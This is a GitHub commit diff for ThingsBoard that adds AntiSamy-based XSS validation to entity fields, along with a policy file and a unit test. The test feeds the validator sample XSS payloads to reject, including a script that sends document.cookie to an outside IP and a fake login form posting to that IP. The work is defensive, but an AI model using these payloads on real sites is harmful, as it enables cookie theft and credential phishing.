Browse Source

Provide additional validation for entities (#4326)

* Provide additional validation for entities

* Refactor

* Create test for NoXssValidator

* Refactor dependencies
pull/4345/head
Viacheslav Klimov 6 years ago
committed by GitHub
parent
commit
593f95a7af
No known key found for this signature in database GPG Key ID: 4AEE18F83AFDEB23
  1. 8
      common/data/pom.xml
  2. 4
      common/data/src/main/java/org/thingsboard/server/common/data/AdminSettings.java
  3. 11
      common/data/src/main/java/org/thingsboard/server/common/data/ContactBased.java
  4. 6
      common/data/src/main/java/org/thingsboard/server/common/data/Customer.java
  5. 4
      common/data/src/main/java/org/thingsboard/server/common/data/Device.java
  6. 7
      common/data/src/main/java/org/thingsboard/server/common/data/DeviceProfile.java
  7. 3
      common/data/src/main/java/org/thingsboard/server/common/data/EntityView.java
  8. 5
      common/data/src/main/java/org/thingsboard/server/common/data/Tenant.java
  9. 3
      common/data/src/main/java/org/thingsboard/server/common/data/TenantProfile.java
  10. 4
      common/data/src/main/java/org/thingsboard/server/common/data/User.java
  11. 10
      common/data/src/main/java/org/thingsboard/server/common/data/asset/Asset.java
  12. 4
      common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmCondition.java
  13. 6
      common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmConditionFilter.java
  14. 2
      common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmConditionFilterKey.java
  15. 5
      common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmRule.java
  16. 5
      common/data/src/main/java/org/thingsboard/server/common/data/device/profile/DeviceProfileAlarm.java
  17. 2
      common/data/src/main/java/org/thingsboard/server/common/data/device/profile/DeviceProfileData.java
  18. 2
      common/data/src/main/java/org/thingsboard/server/common/data/query/DynamicValue.java
  19. 6
      common/data/src/main/java/org/thingsboard/server/common/data/query/FilterPredicateValue.java
  20. 3
      common/data/src/main/java/org/thingsboard/server/common/data/query/StringFilterPredicate.java
  21. 2
      common/data/src/main/java/org/thingsboard/server/common/data/rule/RuleChain.java
  22. 34
      common/data/src/main/java/org/thingsboard/server/common/data/validation/NoXss.java
  23. 13
      dao/pom.xml
  24. 38
      dao/src/main/java/org/thingsboard/server/dao/service/DataValidator.java
  25. 57
      dao/src/main/java/org/thingsboard/server/dao/service/NoXssValidator.java
  26. 162
      dao/src/main/resources/xss-policy.xml
  27. 52
      dao/src/test/java/org/thingsboard/server/dao/service/NoXssValidatorTest.java
  28. 162
      dao/src/test/resources/xss-policy.xml
  29. 41
      pom.xml

8
common/data/pom.xml

@ -36,6 +36,14 @@
</properties>
<dependencies>
<dependency>
<groupId>javax.validation</groupId>
<artifactId>validation-api</artifactId>
</dependency>
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>

4
common/data/src/main/java/org/thingsboard/server/common/data/AdminSettings.java

@ -18,11 +18,13 @@ package org.thingsboard.server.common.data;
import org.thingsboard.server.common.data.id.AdminSettingsId;
import com.fasterxml.jackson.databind.JsonNode;
import org.thingsboard.server.common.data.validation.NoXss;
public class AdminSettings extends BaseData<AdminSettingsId> {
private static final long serialVersionUID = -7670322981725511892L;
@NoXss
private String key;
private transient JsonNode jsonValue;

11
common/data/src/main/java/org/thingsboard/server/common/data/ContactBased.java

@ -17,19 +17,28 @@ package org.thingsboard.server.common.data;
import lombok.EqualsAndHashCode;
import org.thingsboard.server.common.data.id.UUIDBased;
import org.thingsboard.server.common.data.validation.NoXss;
@EqualsAndHashCode(callSuper = true)
public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName {
private static final long serialVersionUID = 5047448057830660988L;
@NoXss
protected String country;
@NoXss
protected String state;
@NoXss
protected String city;
@NoXss
protected String address;
@NoXss
protected String address2;
@NoXss
protected String zip;
@NoXss
protected String phone;
@NoXss
protected String email;
public ContactBased() {

6
common/data/src/main/java/org/thingsboard/server/common/data/Customer.java

@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty;
import com.fasterxml.jackson.annotation.JsonProperty.Access;
import org.thingsboard.server.common.data.id.CustomerId;
import org.thingsboard.server.common.data.id.TenantId;
import com.fasterxml.jackson.databind.JsonNode;
import org.thingsboard.server.common.data.validation.NoXss;
public class Customer extends ContactBased<CustomerId> implements HasTenantId {
private static final long serialVersionUID = -1599722990298929275L;
@NoXss
private String title;
private TenantId tenantId;

4
common/data/src/main/java/org/thingsboard/server/common/data/Device.java

@ -25,6 +25,7 @@ import org.thingsboard.server.common.data.id.CustomerId;
import org.thingsboard.server.common.data.id.DeviceId;
import org.thingsboard.server.common.data.id.DeviceProfileId;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.validation.NoXss;
import java.io.ByteArrayInputStream;
import java.io.IOException;
@ -37,8 +38,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen
private TenantId tenantId;
private CustomerId customerId;
@NoXss
private String name;
@NoXss
private String type;
@NoXss
private String label;
private DeviceProfileId deviceProfileId;
private transient DeviceData deviceData;

7
common/data/src/main/java/org/thingsboard/server/common/data/DeviceProfile.java

@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData;
import org.thingsboard.server.common.data.id.DeviceProfileId;
import org.thingsboard.server.common.data.id.RuleChainId;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.Valid;
import java.io.ByteArrayInputStream;
import java.io.IOException;
@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId {
private TenantId tenantId;
@NoXss
private String name;
@NoXss
private String description;
private boolean isDefault;
private DeviceProfileType type;
private DeviceTransportType transportType;
private DeviceProfileProvisionType provisionType;
private RuleChainId defaultRuleChainId;
@NoXss
private String defaultQueueName;
@Valid
private transient DeviceProfileData profileData;
@JsonIgnore
private byte[] profileDataBytes;
@NoXss
private String provisionDeviceKey;
public DeviceProfile() {

3
common/data/src/main/java/org/thingsboard/server/common/data/EntityView.java

@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId;
import org.thingsboard.server.common.data.id.EntityViewId;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.objects.TelemetryEntityView;
import org.thingsboard.server.common.data.validation.NoXss;
/**
* Created by Victor Basanets on 8/27/2017.
@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId>
private EntityId entityId;
private TenantId tenantId;
private CustomerId customerId;
@NoXss
private String name;
@NoXss
private String type;
private TelemetryEntityView keys;
private long startTimeMs;

5
common/data/src/main/java/org/thingsboard/server/common/data/Tenant.java

@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty;
import lombok.EqualsAndHashCode;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.id.TenantProfileId;
import org.thingsboard.server.common.data.validation.NoXss;
@EqualsAndHashCode(callSuper = true)
public class Tenant extends ContactBased<TenantId> implements HasTenantId {
private static final long serialVersionUID = 8057243243859922101L;
@NoXss
private String title;
@NoXss
private String region;
private TenantProfileId tenantProfileId;

3
common/data/src/main/java/org/thingsboard/server/common/data/TenantProfile.java

@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j;
import org.thingsboard.server.common.data.id.TenantProfileId;
import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration;
import org.thingsboard.server.common.data.tenant.profile.TenantProfileData;
import org.thingsboard.server.common.data.validation.NoXss;
import java.io.ByteArrayInputStream;
import java.io.IOException;
@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
@Slf4j
public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName {
@NoXss
private String name;
@NoXss
private String description;
private boolean isDefault;
private boolean isolatedTbCore;

4
common/data/src/main/java/org/thingsboard/server/common/data/User.java

@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.id.UserId;
import org.thingsboard.server.common.data.security.Authority;
import com.fasterxml.jackson.databind.JsonNode;
import org.thingsboard.server.common.data.validation.NoXss;
@EqualsAndHashCode(callSuper = true)
public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId {
@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H
private CustomerId customerId;
private String email;
private Authority authority;
@NoXss
private String firstName;
@NoXss
private String lastName;
public User() {

10
common/data/src/main/java/org/thingsboard/server/common/data/asset/Asset.java

@ -15,12 +15,15 @@
*/
package org.thingsboard.server.common.data.asset;
import com.fasterxml.jackson.databind.JsonNode;
import lombok.EqualsAndHashCode;
import org.thingsboard.server.common.data.*;
import org.thingsboard.server.common.data.HasCustomerId;
import org.thingsboard.server.common.data.HasName;
import org.thingsboard.server.common.data.HasTenantId;
import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
import org.thingsboard.server.common.data.id.AssetId;
import org.thingsboard.server.common.data.id.CustomerId;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.validation.NoXss;
@EqualsAndHashCode(callSuper = true)
public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId {
@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements
private TenantId tenantId;
private CustomerId customerId;
@NoXss
private String name;
@NoXss
private String type;
@NoXss
private String label;
public Asset() {

4
common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmCondition.java

@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import lombok.Data;
import org.thingsboard.server.common.data.query.KeyFilter;
import javax.validation.Valid;
import java.util.List;
import java.util.concurrent.TimeUnit;
@Data
@JsonIgnoreProperties(ignoreUnknown = true)
public class AlarmCondition {
@Valid
private List<AlarmConditionFilter> condition;
private AlarmConditionSpec spec;

6
common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmConditionFilter.java

@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile;
import lombok.Data;
import org.thingsboard.server.common.data.query.EntityKeyValueType;
import org.thingsboard.server.common.data.query.KeyFilterPredicate;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.Valid;
@Data
public class AlarmConditionFilter {
@Valid
private AlarmConditionFilterKey key;
private EntityKeyValueType valueType;
@NoXss
private Object value;
@Valid
private KeyFilterPredicate predicate;
}

2
common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmConditionFilterKey.java

@ -16,11 +16,13 @@
package org.thingsboard.server.common.data.device.profile;
import lombok.Data;
import org.thingsboard.server.common.data.validation.NoXss;
@Data
public class AlarmConditionFilterKey {
private final AlarmConditionKeyType type;
@NoXss
private final String key;
}

5
common/data/src/main/java/org/thingsboard/server/common/data/device/profile/AlarmRule.java

@ -16,13 +16,18 @@
package org.thingsboard.server.common.data.device.profile;
import lombok.Data;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.Valid;
@Data
public class AlarmRule {
@Valid
private AlarmCondition condition;
private AlarmSchedule schedule;
// Advanced
@NoXss
private String alarmDetails;
}

5
common/data/src/main/java/org/thingsboard/server/common/data/device/profile/DeviceProfileAlarm.java

@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile;
import lombok.Data;
import org.thingsboard.server.common.data.alarm.AlarmSeverity;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.Valid;
import java.util.List;
import java.util.TreeMap;
@ -25,9 +27,12 @@ import java.util.TreeMap;
public class DeviceProfileAlarm {
private String id;
@NoXss
private String alarmType;
@Valid
private TreeMap<AlarmSeverity, AlarmRule> createRules;
@Valid
private AlarmRule clearRule;
// Hidden in advanced settings

2
common/data/src/main/java/org/thingsboard/server/common/data/device/profile/DeviceProfileData.java

@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile;
import lombok.Data;
import javax.validation.Valid;
import java.util.List;
@Data
@ -25,6 +26,7 @@ public class DeviceProfileData {
private DeviceProfileConfiguration configuration;
private DeviceProfileTransportConfiguration transportConfiguration;
private DeviceProfileProvisionConfiguration provisionConfiguration;
@Valid
private List<DeviceProfileAlarm> alarms;
}

2
common/data/src/main/java/org/thingsboard/server/common/data/query/DynamicValue.java

@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query;
import com.fasterxml.jackson.annotation.JsonIgnore;
import lombok.Data;
import lombok.RequiredArgsConstructor;
import org.thingsboard.server.common.data.validation.NoXss;
@Data
@RequiredArgsConstructor
@ -27,6 +28,7 @@ public class DynamicValue<T> {
private T resolvedValue;
private final DynamicValueSourceType sourceType;
@NoXss
private final String sourceAttribute;
private final boolean inherit;

6
common/data/src/main/java/org/thingsboard/server/common/data/query/FilterPredicateValue.java

@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore;
import com.fasterxml.jackson.annotation.JsonProperty;
import lombok.Data;
import lombok.Getter;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.Valid;
@Data
public class FilterPredicateValue<T> {
@Getter
@NoXss
private final T defaultValue;
@Getter
@NoXss
private final T userValue;
@Getter
@Valid
private final DynamicValue<T> dynamicValue;
public FilterPredicateValue(T defaultValue) {

3
common/data/src/main/java/org/thingsboard/server/common/data/query/StringFilterPredicate.java

@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query;
import lombok.Data;
import javax.validation.Valid;
@Data
public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> {
private StringOperation operation;
@Valid
private FilterPredicateValue<String> value;
private boolean ignoreCase;

2
common/data/src/main/java/org/thingsboard/server/common/data/rule/RuleChain.java

@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
import org.thingsboard.server.common.data.id.RuleChainId;
import org.thingsboard.server.common.data.id.RuleNodeId;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.validation.NoXss;
@Data
@EqualsAndHashCode(callSuper = true)
@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im
private static final long serialVersionUID = -5656679015121935465L;
private TenantId tenantId;
@NoXss
private String name;
private RuleNodeId firstRuleNodeId;
private boolean root;

34
common/data/src/main/java/org/thingsboard/server/common/data/validation/NoXss.java

@ -0,0 +1,34 @@
/**
* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.common.data.validation;
import javax.validation.Constraint;
import javax.validation.Payload;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.FIELD)
@Constraint(validatedBy = {})
public @interface NoXss {
String message() default "field value is malformed";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}

13
dao/pom.xml

@ -107,6 +107,14 @@
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
</dependency>
<dependency>
<groupId>org.hibernate.validator</groupId>
<artifactId>hibernate-validator</artifactId>
</dependency>
<dependency>
<groupId>org.glassfish</groupId>
<artifactId>javax.el</artifactId>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
@ -194,6 +202,11 @@
<artifactId>hsqldb</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-params</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>

38
dao/src/main/java/org/thingsboard/server/dao/service/DataValidator.java

@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service;
import com.fasterxml.jackson.databind.JsonNode;
import lombok.extern.slf4j.Slf4j;
import org.hibernate.validator.HibernateValidator;
import org.hibernate.validator.HibernateValidatorConfiguration;
import org.hibernate.validator.cfg.ConstraintMapping;
import org.thingsboard.server.common.data.BaseData;
import org.thingsboard.server.common.data.EntityType;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.validation.NoXss;
import org.thingsboard.server.dao.TenantEntityDao;
import org.thingsboard.server.dao.exception.DataValidationException;
import javax.validation.ConstraintViolation;
import javax.validation.Validation;
import javax.validation.Validator;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
import java.util.function.Function;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.stream.Collectors;
@Slf4j
public abstract class DataValidator<D extends BaseData<?>> {
private static final Pattern EMAIL_PATTERN =
Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE);
private static Validator fieldsValidator;
static {
initializeFieldsValidator();
}
public void validate(D data, Function<D, TenantId> tenantIdFunction) {
try {
if (data == null) {
throw new DataValidationException("Data object can't be null!");
}
List<String> validationErrors = validateFields(data);
if (!validationErrors.isEmpty()) {
throw new IllegalArgumentException("Validation error: " + String.join(", ", validationErrors));
}
TenantId tenantId = tenantIdFunction.apply(data);
validateDataImpl(tenantId, data);
if (data.getId() == null) {
@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> {
return emailMatcher.matches();
}
private List<String> validateFields(D data) {
Set<ConstraintViolation<D>> constraintsViolations = fieldsValidator.validate(data);
return constraintsViolations.stream()
.map(ConstraintViolation::getMessage)
.distinct()
.collect(Collectors.toList());
}
protected void validateNumberOfEntitiesPerTenant(TenantId tenantId,
TenantEntityDao tenantEntityDao,
long maxEntities,
@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> {
throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!");
}
}
private static void initializeFieldsValidator() {
HibernateValidatorConfiguration validatorConfiguration = Validation.byProvider(HibernateValidator.class).configure();
ConstraintMapping constraintMapping = validatorConfiguration.createConstraintMapping();
constraintMapping.constraintDefinition(NoXss.class).validatedBy(NoXssValidator.class);
validatorConfiguration.addMapping(constraintMapping);
fieldsValidator = validatorConfiguration.buildValidatorFactory().getValidator();
}
}

57
dao/src/main/java/org/thingsboard/server/dao/service/NoXssValidator.java

@ -0,0 +1,57 @@
/**
* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.dao.service;
import com.google.common.io.Resources;
import lombok.extern.slf4j.Slf4j;
import org.owasp.validator.html.AntiSamy;
import org.owasp.validator.html.Policy;
import org.owasp.validator.html.PolicyException;
import org.owasp.validator.html.ScanException;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
@Slf4j
public class NoXssValidator implements ConstraintValidator<NoXss, Object> {
private static final AntiSamy xssChecker = new AntiSamy();
private static Policy xssPolicy;
@Override
public void initialize(NoXss constraintAnnotation) {
if (xssPolicy == null) {
try {
xssPolicy = Policy.getInstance(Resources.getResource("xss-policy.xml"));
} catch (Exception e) {
log.error("Failed to set xss policy: {}", e.getMessage());
}
}
}
@Override
public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) {
if (!(value instanceof String) || ((String) value).isEmpty() || xssPolicy == null) {
return true;
}
try {
return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0;
} catch (ScanException | PolicyException e) {
return false;
}
}
}

162
dao/src/main/resources/xss-policy.xml

@ -0,0 +1,162 @@
<?xml version="1.0" encoding="UTF-8" ?>
<!--
Copyright © 2016-2021 The Thingsboard Authors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<anti-samy-rules>
<directives>
<directive name="omitXmlDeclaration" value="true"/>
<directive name="omitDoctypeDeclaration" value="false"/>
<directive name="maxInputSize" value="100000"/>
<directive name="embedStyleSheets" value="false"/>
<directive name="useXHTML" value="true"/>
<directive name="formatOutput" value="true"/>
</directives>
<common-regexps>
<!--
From W3C:
This attribute assigns a class name or set of class names to an
element. Any number of elements may be assigned the same class
name or names. Multiple class names must be separated by white
space characters.
-->
<regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&amp;]*"/>
<!-- force non-empty with a '+' at the end instead of '*'
-->
<regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&amp;\-~])+"/>
<!-- ([\w\\/\.\?=&amp;;\#-~]+|\#(\w)+)
-->
<!-- ([\p{L}/ 0-9&amp;\#-.?=])*
-->
<regexp name="offsiteURL"
value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&amp;;:,\?=/\+!\(\)]*(\s)*"/>
</common-regexps>
<common-attributes>
<attribute name="lang"
description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
<regexp-list>
<regexp value="[a-zA-Z]{2,20}"/>
</regexp-list>
</attribute>
<attribute name="title"
description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
<regexp-list>
<regexp name="htmlTitle"/>
</regexp-list>
</attribute>
<attribute name="href" onInvalid="filterTag">
<regexp-list>
<regexp name="onsiteURL"/>
<regexp name="offsiteURL"/>
</regexp-list>
</attribute>
<attribute name="align"
description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
<literal-list>
<literal value="center"/>
<literal value="left"/>
<literal value="right"/>
<literal value="justify"/>
<literal value="char"/>
</literal-list>
</attribute>
<attribute name="style"
description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
</common-attributes>
<global-tag-attributes>
<attribute name="title"/>
<attribute name="lang"/>
<attribute name="style"/>
</global-tag-attributes>
<tags-to-encode>
<tag>g</tag>
<tag>grin</tag>
</tags-to-encode>
<tag-rules>
<tag name="script" action="remove"/>
<tag name="noscript" action="remove"/>
<tag name="iframe" action="remove"/>
<tag name="frameset" action="remove"/>
<tag name="frame" action="remove"/>
<tag name="noframes" action="remove"/>
<tag name="head" action="remove"/>
<tag name="title" action="remove"/>
<tag name="base" action="remove"/>
<tag name="style" action="remove"/>
<tag name="link" action="remove"/>
<tag name="input" action="remove"/>
<tag name="textarea" action="remove"/>
<tag name="br" action="remove"/>
<tag name="p" action="remove"/>
<tag name="div" action="remove"/>
<tag name="span" action="remove"/>
<tag name="i" action="remove"/>
<tag name="b" action="remove"/>
<tag name="strong" action="remove"/>
<tag name="s" action="remove"/>
<tag name="strike" action="remove"/>
<tag name="u" action="remove"/>
<tag name="em" action="remove"/>
<tag name="blockquote" action="remove"/>
<tag name="tt" action="remove"/>
<tag name="a" action="remove"/>
<tag name="ul" action="remove"/>
<tag name="ol" action="remove"/>
<tag name="li" action="remove"/>
<tag name="dl" action="remove"/>
<tag name="dt" action="remove"/>
<tag name="dd" action="remove"/>
</tag-rules>
<css-rules>
<property name="text-decoration" default="none"
description="">
<category-list>
<category value="visual"/>
</category-list>
<literal-list>
<literal value="underline"/>
<literal value="overline"/>
<literal value="line-through"/>
</literal-list>
</property>
</css-rules>
</anti-samy-rules>

52
dao/src/test/java/org/thingsboard/server/dao/service/NoXssValidatorTest.java

@ -0,0 +1,52 @@
/**
* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.dao.service;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.ValueSource;
import javax.validation.ConstraintValidatorContext;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.mockito.Mockito.mock;
public class NoXssValidatorTest {
private static NoXssValidator validator;
@BeforeAll
public static void beforeAll() {
validator = new NoXssValidator();
validator.initialize(null);
}
@ParameterizedTest
@ValueSource(strings = {
"aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666",
"9090<body onload=alert('xsssss')>90909",
"qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy",
"bambam<script>alert(document.cookie)</script>",
"<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221",
"<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>",
" <img src= \"http://site.com/\" > ",
"123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe",
})
public void testIsNotValid(String stringWithXss) {
boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class));
assertFalse(isValid);
}
}

162
dao/src/test/resources/xss-policy.xml

@ -0,0 +1,162 @@
<?xml version="1.0" encoding="UTF-8" ?>
<!--
Copyright © 2016-2021 The Thingsboard Authors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<anti-samy-rules>
<directives>
<directive name="omitXmlDeclaration" value="true"/>
<directive name="omitDoctypeDeclaration" value="false"/>
<directive name="maxInputSize" value="100000"/>
<directive name="embedStyleSheets" value="false"/>
<directive name="useXHTML" value="true"/>
<directive name="formatOutput" value="true"/>
</directives>
<common-regexps>
<!--
From W3C:
This attribute assigns a class name or set of class names to an
element. Any number of elements may be assigned the same class
name or names. Multiple class names must be separated by white
space characters.
-->
<regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&amp;]*"/>
<!-- force non-empty with a '+' at the end instead of '*'
-->
<regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&amp;\-~])+"/>
<!-- ([\w\\/\.\?=&amp;;\#-~]+|\#(\w)+)
-->
<!-- ([\p{L}/ 0-9&amp;\#-.?=])*
-->
<regexp name="offsiteURL"
value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&amp;;:,\?=/\+!\(\)]*(\s)*"/>
</common-regexps>
<common-attributes>
<attribute name="lang"
description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
<regexp-list>
<regexp value="[a-zA-Z]{2,20}"/>
</regexp-list>
</attribute>
<attribute name="title"
description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
<regexp-list>
<regexp name="htmlTitle"/>
</regexp-list>
</attribute>
<attribute name="href" onInvalid="filterTag">
<regexp-list>
<regexp name="onsiteURL"/>
<regexp name="offsiteURL"/>
</regexp-list>
</attribute>
<attribute name="align"
description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
<literal-list>
<literal value="center"/>
<literal value="left"/>
<literal value="right"/>
<literal value="justify"/>
<literal value="char"/>
</literal-list>
</attribute>
<attribute name="style"
description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
</common-attributes>
<global-tag-attributes>
<attribute name="title"/>
<attribute name="lang"/>
<attribute name="style"/>
</global-tag-attributes>
<tags-to-encode>
<tag>g</tag>
<tag>grin</tag>
</tags-to-encode>
<tag-rules>
<tag name="script" action="remove"/>
<tag name="noscript" action="remove"/>
<tag name="iframe" action="remove"/>
<tag name="frameset" action="remove"/>
<tag name="frame" action="remove"/>
<tag name="noframes" action="remove"/>
<tag name="head" action="remove"/>
<tag name="title" action="remove"/>
<tag name="base" action="remove"/>
<tag name="style" action="remove"/>
<tag name="link" action="remove"/>
<tag name="input" action="remove"/>
<tag name="textarea" action="remove"/>
<tag name="br" action="remove"/>
<tag name="p" action="remove"/>
<tag name="div" action="remove"/>
<tag name="span" action="remove"/>
<tag name="i" action="remove"/>
<tag name="b" action="remove"/>
<tag name="strong" action="remove"/>
<tag name="s" action="remove"/>
<tag name="strike" action="remove"/>
<tag name="u" action="remove"/>
<tag name="em" action="remove"/>
<tag name="blockquote" action="remove"/>
<tag name="tt" action="remove"/>
<tag name="a" action="remove"/>
<tag name="ul" action="remove"/>
<tag name="ol" action="remove"/>
<tag name="li" action="remove"/>
